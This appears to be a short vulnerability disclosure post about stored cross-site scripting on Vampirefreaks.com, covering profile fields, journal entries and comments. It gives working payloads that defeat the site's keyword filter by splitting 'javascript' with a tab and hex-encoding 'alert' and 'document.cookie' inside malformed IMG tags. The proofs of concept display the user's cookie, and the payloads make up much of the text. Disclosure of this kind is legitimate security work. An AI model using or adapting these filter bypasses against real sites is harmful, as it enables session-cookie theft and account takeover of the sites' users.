Vampirefreaks.com - XSS with cookie disclosure
Vampirefreaks.com
Homepage:
http://www.vampirefreaks.com
Effected files:
input boxes of editing your profile
posting a journal entry.
Commenting
XSS Vulnerability:
Data isn't properly filtered when editing your profile. One way to bypass the
filter is to escape quotes and useclosing brackets withaimg tag while having
tab enabled and spacing jav ascript: Javascript and alert are filtered to
the words "forbidden" so to bypass this we convert the word alert to hex form.
Try adding the following below in your profile:
']"]'][""]'][IMG SRC="jav ascript:%61%6C%65%72%74('XSS');"]['["[""]['[""]
XSS Vulnerability to disclose user cookie:
This time, much like the sameway above, we have to hex encode alert and
document.cookie because both words also get filtered to forbidden. PoC, add
this in your profile, and make sure tab is on.
PoC:
']"]'][""]'][IMG SRC="jav
ascript:%61%6C%65%72%74(%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65)"
]['["[""]['[""]
-------------------------------
XSS Vuln to disclose cookie in posting a journal entry:
Same method as above works here too:
']"]'][""]'][IMG SRC="jav
ascript:%61%6C%65%72%74(%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65)"
]['["[""]['[""]
----------------------------------
Screenshots of XSS vulns:
http://www.youfucktard.com/xsp/vf1.jpg
http://www.youfucktard.com/xsp/vf2.jpg
http://www.youfucktard.com/xsp/vf3.jpg